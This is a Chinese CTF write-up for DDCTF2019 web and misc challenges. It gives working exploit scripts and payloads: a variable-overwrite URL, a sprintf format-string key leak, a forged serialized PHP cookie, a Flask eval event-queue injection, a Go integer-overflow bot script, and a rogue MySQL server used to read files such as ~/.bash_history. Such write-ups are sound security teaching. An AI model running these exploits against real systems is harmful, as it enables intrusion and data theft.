DDCTF2019
web
滴~
还是要有耐心啊,这次做题由于感觉像吃了屎一样,所以索性就没做了,并且精力有限。
这题打开链接,给出了一张图片(这图成功成为了又一个表情包)
注意地址栏,参数jpg后面跟了一串字符串,猜测base64,经过一番尝试,发现编码规则是将源文件名转为hex,再进行两次base64编码,于是尝试读取源码
利用python进行编码:1
str(base64.b64encode(base64.b64encode(('index.php'.encode('ascii')).hex().encode('utf-8'))),'utf-8')
拿到源码:
1 |
|
注释中有一个博客地址,进入博客,查看历史文章,在这篇文章:
https://blog.csdn.net/FengBanLiuYun/article/details/80913909
找到一个:.practice.txt.swp,尝试将其作为一个文件粘贴入地址栏,得到了:f1ag!ddctf.php
猜测flag就在这,但注意到源码中将config置换为!,且直接输入f1ag!ddctf.php会将!换为空字符,于是有了如下代码:
1 | str(base64.b64encode(base64.b64encode(('f1agconfigddctf.php'.encode('ascii')).hex().encode('utf-8'))),'utf-8') |
得到源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
变量覆盖漏洞
trim()
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
extract()
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。
该函数返回成功导入到符号表中的变量数目。
paylaod:http://117.51.150.246/f1ag!ddctf.php?uid=&k=1
DDCTF{436f6e67726174756c6174696f6e73}
WEB 签到题
进入链接后,注意到一行大字:
抱歉,您没有登陆权限,请获取权限后访问—–
查看源码,注意到<script type="text/javascript" src="js/index.js"></script>
,查看源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}
所以思路比较清楚,向http://117.51.158.44/app/Auth.php
发送认证,于是添加header:1
didictf_username: admin
得到如下提示:
您当前当前权限为管理员—-请访问:app/fL2XID2i0Cdh.php
访问
app/Application.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
app/Session.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
用burpsuite查看请求与响应情况:
request:
POST /app/Session.php HTTP/1.1
Host: 117.51.158.44
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
didictf_username: adminnickname=123
response:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Thu, 18 Apr 2019 10:19:23 GMT
Content-Type: application/json
Connection: close
Set-Cookie: ddctf_id=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%224b42d9a8f4e766b08ca9125762bf0d45%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22101.207.121.38%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A78%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%3B+rv%3A66.0%29+Gecko%2F20100101+Firefox%2F66.0%22%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D38af5d35992029e7901a61356d1f4609; expires=Thu, 18-Apr-2019 12:19:23 GMT; Max-Age=7200
Content-Length: 188{“errMsg”:”success”,”data”:”\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458—-\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php”}{“errMsg”:”sucess”,”data”:”DiDI Welcome you %s”}
注意到Set-Cookie字段,urldecode后:1
a:4:{s:10:"session_id";s:32:"4b42d9a8f4e766b08ca9125762bf0d45";s:10:"ip_address";s:14:"101.207.121.38";s:10:"user_agent";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0";s:9:"user_data";s:0:"";}38af5d35992029e7901a61356d1f4609
另外:1
{"errMsg":"success","data":"\u60a8\u5f53\u524d\u5f53\u524d\u6743\u9650\u4e3a\u7ba1\u7406\u5458----\u8bf7\u8bbf\u95ee:app\/fL2XID2i0Cdh.php"}{"errMsg":"sucess","data":"DiDI Welcome you %s"}
回到源码:
- 在url:app/Application.php中
1
2
3
4
5
6
7
8
9
10
11
12public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
明显意识到反序列化
- 在url:app/Session.php中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
进行session检查没有则创造一个session,所以访问时要设定session,往下看:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
sprinf存在格式化字符串漏洞,所以试图让他打印出key值
sprintf漏洞
代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14#! /usr/bin/python3
# -*- coding: utf-8 -*-
import requests
url = 'http://117.51.158.44/app/Session.php'
body = {'nickname':'/%s'}
headers = {'didictf_username':'admin'}
s = requests.Session()
s.get(url=url,headers=headers)
response = s.post(url=url,headers=headers,data=body)
print(response.text)
得到key:EzblrbNS
- 下一步就是序列化
注意到这步:
1 | if($hash !== md5($this->eancrykey.$session)) { |
所以可以直接构造一个只包含flag路径的对象:1
2
3
4
5
6
7
8
9
10
Class Application {
var $path = '';
}
$fuck = new Application();
$fuck->path = '//config/flag.txt';
echo serialize($fuck);
最终:1
2
3
4
5
6
7
8
9
10
11
12
13import requests
import hashlib
from urllib.parse import quote
import json
url = 'http://117.51.158.44/app/Session.php'
data = 'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}'
data =quote( data + hashlib.md5(b'EzblrbNS' + data.encode()).hexdigest())
# s = requests.Session()
response = requests.get(url=url,headers={'didictf_username':'admin'},cookies={'ddctf_id':data})
print(response.content)
Upload-IMG
user:dd@ctf
pass:DD@ctf#000
用给出的用户名和密码登录,一个文件上传页面
随便上传一张图,出现如下提示:
[Check Error]上传的图片源代码中未包含指定字符串:phpinfo()
在图片末尾添加phpinfo()
,上传依然出现这个错误
查看网页图片源码,发现了一段字符串:
REATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80
搜了一下,发现了一个新名词–二次渲染
二次渲染:https://xz.aliyun.com/t/2657
文件上传总结:https://blog.csdn.net/qq_41079177/article/details/84780056
会有一次处理之后得不到flag的情况,这时可以将二次渲染的图再次下载,然后再次处理,重复几次即可
注:
linux/windows系统如何安装php-gd扩展库
homebrew event loop
主页面:
[INFO] you have 0 diamonds, 3 points now.
View source code
Go to e-shop
Reset
Go back to index.html
查看源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149Download this .py file
Go back to index.html
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
from flask import Flask, session, request, Response
import urllib
app = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5af31f66741e857'
def FLAG():
return 'FLAG_is_here_but_i_wont_show_you' # censored
def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)
def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack
class RollBackException: pass
def execute_event_loop():
valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
resp = None
while len(request.event_queue) > 0:
event = request.event_queue[0] # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)
except RollBackException:
if resp is None: resp = ''
resp += 'ERROR! All transactions have been cancelled. <br />'
resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
session['num_items'] = request.prev_session['num_items']
session['points'] = request.prev_session['points']
break
except Exception, e:
if resp is None: resp = ''
#resp += str(e) # only for debugging
continue
if ret_val is not None:
if resp is None: resp = ret_val
else: resp += ret_val
if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
session.modified = True
return resp
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
# handlers/functions below --------------------------------------
def view_handler(args):
page = args[0]
html = ''
html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])
if page == 'index':
html += '<a href="./?action:index;True%23False">View source code</a><br />'
html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
html += '<a href="./?action:view;reset">Reset</a><br />'
elif page == 'shop':
html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
elif page == 'reset':
del session['num_items']
html += 'Session reset.<br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
return html
def index_handler(args):
bool_show_source = str(args[0])
bool_download_source = str(args[1])
if bool_show_source == 'True':
source = open('eventLoop.py', 'r')
html = ''
if bool_download_source != 'True':
html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
html += '<a href="./?action:view;index">Go back to index.html</a><br />'
for line in source:
if bool_download_source != 'True':
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
else:
html += line
source.close()
if bool_download_source == 'True':
headers = {}
headers['Content-Type'] = 'text/plain'
headers['Content-Disposition'] = 'attachment; filename=serve.py'
return Response(html, headers=headers)
else:
return html
else:
trigger_event('action:view;index')
def buy_handler(args):
num_items = int(args[0])
if num_items <= 0: return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
session['num_items'] += num_items
trigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])
def consume_point_function(args):
point_to_consume = int(args[0])
if session['points'] < point_to_consume: raise RollBackException()
session['points'] -= point_to_consume
def show_flag_function(args):
flag = args[0]
#return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
return 'You naughty boy! ;) <br />'
def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
flag获取条件:1
2
3
4def get_flag_handler(args):
if session['num_items'] >= 5:
trigger_event('func:show_flag;' + FLAG()) # show_flag_function has been disabled, no worries
trigger_event('action:view;index')
num_items
是diamonds的数量,初始points3分,一分一个
将目标转到购买,截取发送与响应请求:
request:
GET /d5af31f66741e857/?action:buy;5 HTTP/1.1
Host: 116.85.48.107:5002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://116.85.48.107:5002/d5af31f66741e857/?action:view;shop
Connection: close
Cookie: session=eyJsb2ciOlt7IiBiIjoiWVdOMGFXOXVPblpwWlhjN2MyaHZjQT09In1dLCJudW1faXRlbXMiOjAsInBvaW50cyI6M30.D5pFbQ.Hb4GpdLm-zuQpVZkBSRlbY1B5i4
Upgrade-Insecure-Requests: 1
response:
HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Thu, 18 Apr 2019 17:48:50 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 113
Set-Cookie: session=.eJyrVsrJT1eyiq5WUkhSslKKDPczSAy3LPXP9TJMDSk2VKrVgUlF5YWVRlYVZCUZmValhBvmRBg7lSWGmxr4V4XaApWhG5AXVRAVkWwOVJEdFZEOVBEbq6OUV5obn1mSmlusZGWgo1SQn5lXAmQa1wIA440qLQ.D5pKAg.g3KyTELFqHt0j9fGhwyOR29FfmE; HttpOnly; Path=/ERROR! All transactions have been cancelled.
Go back to index.html
将request的session进行base64解码:
{“log”:[{“ b”:”YWN0aW9uOnZpZXc7c2hvcA==”}],”num_items”:0,”points”:6}[@vK;Vd$emA.
大致可以确定目标,所以现在需要找到secret_key,尝试了一番,没有ssti,所以这个思路不对
- 代码分析:
get_mid_str函数:
1
2
3
4
5def get_mid_str(haystack, prefix, postfix=None):
haystack = haystack[haystack.find(prefix)+len(prefix):]
if postfix is not None:
haystack = haystack[:haystack.find(postfix)]
return haystack再定位到execute_event_loop():
1
2
3
4
5
6
7
8
9
10while len(request.event_queue) > 0:
event = request.event_queue[0]
request.event_queue = request.event_queue[1:]
if not event.startswith(('action:', 'func:')): continue
for c in event:
if c not in valid_event_chars: break
else:
is_action = event[0] == 'a'
action = get_mid_str(event, ':', ';')
args = get_mid_str(event, action+';').split('#')
大致确定划分规则:action:buy:1#;
函数执行规则:
1
2
3try:
event_handler = eval(action + ('_handler' if is_action else '_function'))
ret_val = event_handler(args)trigger_event:
1
2
3
4
5
6
7def trigger_event(event):
session['log'].append(event)
if len(session['log']) > 5: session['log'] = session['log'][-5:]
if type(event) == type([]):
request.event_queue += event
else:
request.event_queue.append(event)将event加入到session[‘log’],循环存入队列中:
1
2
3
4
5
6
7
8
9
10
11
12
13@app.route(url_prefix+'/')
def entry_point():
querystring = urllib.unquote(request.query_string)
request.event_queue = []
if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
querystring = 'action:index;False#False'
if 'num_items' not in session:
session['num_items'] = 0
session['points'] = 3
session['log'] = []
request.prev_session = dict(session)
trigger_event(querystring)
return execute_event_loop()
利用链则为:调用trigger_event,传入buy,得以纂改num_items,再调用get_flag_handler,获得flag
payload:?action:trigger_event%23;action:buy;5%23action:get_flag;
最后将session进行破解可得
参考:
https://www.smi1e.top/ddctf2019-%E4%B8%A4%E9%81%93web%E9%A2%98%E8%A7%A3/
http://12end.xyz/ddctf-writeup/
大吉大利,今晚吃鸡
一个登录和注册页面,尝试注册登录,入场券2000,balance100,于是在订单和购买时进行各种抓包,发现在形成订单时,会有如下请求
GET /ctf/api/buy_ticket?ticket_price=2000 HTTP/1.1
Host: 117.51.147.155:5050
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://117.51.147.155:5050/index.html
Connection: close
Cookie: user_name=shit; REVEL_SESSION=7af3ebc932b9a89f407e28a145433bb2
ticket_price可以更改,但只能改的比2000大,看了writeup,可以利用整数溢出,并且注意到一点:cookie中有revel-session字段,查了一下,所以这题是基于GoWeb,在go语言中:
各长度大小为:
传入4294967297,这里要注意的是,溢出发生在支付时,成功进入后,会分配一个id和ticket,然而得到flag的条件是:
移除100个id和ticket,有个思路就是注册100个账户然后将他们删除:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45#__author__=https://www.zhaoj.in/read-5269.html
import threading
from concurrent.futures.thread import ThreadPoolExecutor
import requests
main_session = requests.session()
main_session.get("http://38.106.21.229:5000/ctf/api/login?name=glzjinmiaomiao&password=miaomiao")
mutex = threading.Lock()
def remove_bot(id, ticket):
global main_session
print(main_session.get("http://38.106.21.229:5000/ctf/api/get_flag").json())
print(main_session.get("http://38.106.21.229:5000/ctf/api/remove_robot?id=" + str(id) + "&ticket=" + str(ticket)).json())
def create_bot(index=1):
s = requests.Session()
s.get('http://38.106.21.229:5000/ctf/api/register?name=glzjinb4ot' + str(index) + '&password=12345678')
r = s.get('http://38.106.21.229:5000/ctf/api/buy_ticket?ticket_price=4294967296')
r = s.get("http://38.106.21.229:5000/ctf/api/pay_ticket?bill_id=" + r.json()['data'][0]['bill_id'])
return r.json()['data'][0]['your_id'], r.json()['data'][0]['your_ticket']
def create_and_remove(index=1):
info = create_bot(index)
remove_bot(info[0], info[1])
pool = ThreadPoolExecutor(max_workers=32)
for i in range(1, 10000):
pool.submit(create_and_remove, i)
pool.shutdown(True)
mysql弱口令
agent.py代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 12/1/2019 2:58 PM
# @Author : fz
# @Site :
# @File : agent.py
# @Software: PyCharm
import json
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser
from subprocess import Popen, PIPE
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
request_path = self.path
print("\n----- Request Start ----->\n")
print("request_path :", request_path)
print("self.headers :", self.headers)
print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def do_POST(self):
request_path = self.path
# print("\n----- Request Start ----->\n")
print("request_path : %s", request_path)
request_headers = self.headers
content_length = request_headers.getheaders('content-length')
length = int(content_length[0]) if content_length else 0
# print("length :", length)
print("request_headers : %s" % request_headers)
print("content : %s" % self.rfile.read(length))
# print("<----- Request End -----\n")
self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()
result = self._func()
self.wfile.write(json.dumps(result))
def _func(self):
netstat = Popen(['netstat', '-tlnp'], stdout=PIPE)
netstat.wait()
ps_list = netstat.stdout.readlines()
result = []
for item in ps_list[2:]:
tmp = item.split()
Local_Address = tmp[3]
Process_name = tmp[6]
tmp_dic = {'local_address': Local_Address, 'Process_name': Process_name}
result.append(tmp_dic)
return result
do_PUT = do_POST
do_DELETE = do_GET
def main():
port = 8123
print('Listening on localhost:%s' % port)
server = HTTPServer(('0.0.0.0', port), RequestHandler)
server.serve_forever()
if __name__ == "__main__":
parser = OptionParser()
parser.usage = (
"Creates an http-server that will echo out any GET or POST parameters, and respond with dummy data\n"
"Run:\n\n")
(options, args) = parser.parse_args()
main()
要求将他配置在自己的服务器上,代码功能分为三部分,读取get请求(do_GET),读取post请求(do_POST),端口状态检测(_func),启动后会将端口绑定在本地的8123端口进行监听
httpserver:
class http.server.HTTPServer(server_address, RequestHandlerClass)
This class builds on the TCPServer class by storing the server address as instance variables named server_name and server_port. The server is accessible by the handler, typically through the handler’s server instance variable.
BaseHTTPRequestHandler:
class http.server.BaseHTTPRequestHandler(request, client_address, server)
This class is used to handle the HTTP requests that arrive at the server. By itself, it cannot respond to any actual HTTP requests; it must be subclassed to handle each request method (e.g. GET or POST). BaseHTTPRequestHandler provides a number of class and instance variables, and methods for use by subclasses.
需要注意的是agent.py中的Process_name需要含有mysqld,直接改源码,端口写3306,然后跑https://github.com/allyshka/Rogue-MySql-Server中的脚本即可。
接下来就是找flag,可以直接读~/.mysql_history(注:这方法在后期复现时已经不管用了)
或者读取~/.bash_history,找到工作目录,读源码
/home/dc2-user/ctf_web_2/app/main/views.py1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16# coding=utf-8
from flask import jsonify, request
from struct import unpack
from socket import inet_aton
import MySQLdb
from subprocess import Popen, PIPE
import re
import os
import base64
# flag in mysql curl@localhost database:security table:flag
def weak_scan():
agent_port = 8123
result = []
target_ip = request.args.get(\'target_ip\')
target_port = request.args.get(\'target_port\')
.......
可以看到flag在security库flag表中。
my.cnf
/var/lib/mysql/security/flag.ibd
misc
北京地铁
Color Threshold
提示:AES ECB密钥为小写字母
提示2:密钥不足位用\0补全
提示3:不要光记得隐写不看图片本身啊…
颜色阈值:可以命令将灰度或彩色图像转换为高对比度的黑白图像。
用stegsolve查看图片,lsb,发现一段base64,但是为不可见字符
用ps打开图片,调整阀值,发现了魏公村这个站点有点特殊:
这里似乎有两种情况,在lsb和rsb情况下的base64不同:
lsb
1 | from Crypto.Cipher import AES |
rgb
1 | from Crypto.Cipher import AES |
wireshark
折腾了半天
用wireshark打开,首先导出对象->http,如下图所示:
关注mime_multipart.type字段,仔细查看,发现了上传图片,于是将图片分离出来
具体步骤:选中图片信息的字段,右键导出分组
得到三张图:
第一张图把高度改为07 50,得到key:
再将其他图片拿到数据包分析得出的地址:http://tools.jb51.net/aideddesign/img_add_info
去解密得到:flag+AHs-44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D+AH0-
再将hex转ascii:lg+Hs-DDCTF{QEWokcpHeUo2WOfBIN7pogIWsF04iRjt}+H-
MulTzor
原文为英语,请破解
014e084dda666a631b58d361627e5a5bcc327f651f14ef7c626a17558a71627d1251d87b656a5a47d3617f681714cf7c6a6f1651ce327f651f14dd7778791f46c4324a61165dcf612b641414fd7d79611e14fd73792d337d8a66642d0851cb762b7e0f56d9666a630e5dcb7e2b6c175bdf7c7f7e5a5bcc3246620847cf3f68621e51ce32796c1e5dc53268621759df7c626e1b40c37d657e5a5bcc327f651f14eb6a627e5a44c5656e7f0914de7a6a795a5ccb762b6f1f51c4326e63195dda7a6e7f1f508a67786414538a5765641d59cb32666c195cc37c6e7e5414fe7a627e5a4dc37767691f508a7f62611340cb60722d135ade7767611353cf7c68685a43c27b68655614cb7e64631d14dd7b7f655a40c2737f2d1c46c57f2b620e5ccf602b691f57d86b7b791f508a5373640914d8736f641514cb7c6f2d0e51c6777b7f135ade77792d0e46cb7c78601347d97b646309188a656a7e5a53c3646e635a40c2772b6e1550cf7c6a601f14ff7e7f7f1b1a8a4663640914dd73782d195bc46162691f46cf762b6f0314dd7778791f46c43258780a46cf7f6e2d3b58c67b6e695a77c57f666c1450cf602b490d5dcd7a7f2d3e1a8a57627e1f5ac27d7c680814de7d2b651b42cf3269681f5a8a306f68195dd97b7d685814de7d2b7912518a5367611351ce327d641940c5607223703efe7a6e2d3f5ac375666c5a59cb7163641451d9327c6808518a732b6b1b59c37e722d15528a62647f0e55c87e6e2d195dda7a6e7f5a59cb7163641451d9327c640e5c8a60647915468a61687f1b59c87e6e7f091a8a5564621e14c5626e7f1b40c37c6c2d0a46c5716e690f46cf61272d0a46c5626e7f164d8a77656b1546c9776f215a43c56767695a5ccb646e2d1755ce772b7912518a6267781d56c57379695a71c47b6c601b14c7736865135acf327e631846cf73606c1858cf3c2b451543cf646e7f5614c77d78795a5bcc327f651f14ed7779601b5a8a7f62611340cb60722d1c5bd8716e7e5614d977687f1f408a616e7f0c5dc977782d1b5ace3268640c5dc67b6a635a55cd77656e1351d9327f651b408a6778681e14ef7c626a17558a77667d165bd3776f2d0a5bc5602b620a51d8737f6414538a6279621951ce67796809188a7365695a5dde327c6c0914de7a6e7e1f14da7d647f5a44d87d68681e41d877782d0e5ccb662b6c1658c5656e695a40c2772b48145dcd7f6a2d1755c97a62631f478a66642d18518a606e7b1f46d97726681453c37c6e680851ce326a631e14de7a6e2d195dda7a6e7f0914de7d2b6f1f14d8776a69543ea04663685a73cf60666c1414da7e7e6a185bcb606f201f45df7b7b7d1f508a5765641d59cb3269681955c7772b431b4ec3324c680859cb7c722a0914da606263195dda73672d1946d3627f625747d3617f68171a8a5b7f2d0d55d932697f155fcf7c2b6f0314de7a6e2d2a5bc67b78655a73cf7c6e7f1b588a417f6c1c528d612b4e1344c277792d3841d8776a785a5dc4324f681951c7706e7f5a05932139215a43c366632d0e5ccf326a641e14c5742b4b0851c47163200941da6267641f508a7b65791f58c67b6c681457cf32666c0e51d87b6a615a5bc8666a641451ce326d7f15598a732b4a1f46c773652d0944d33c2b4c5a59c57c7f655a56cf74647f1f14de7a6e2d1541de7079681b5f8a7d6d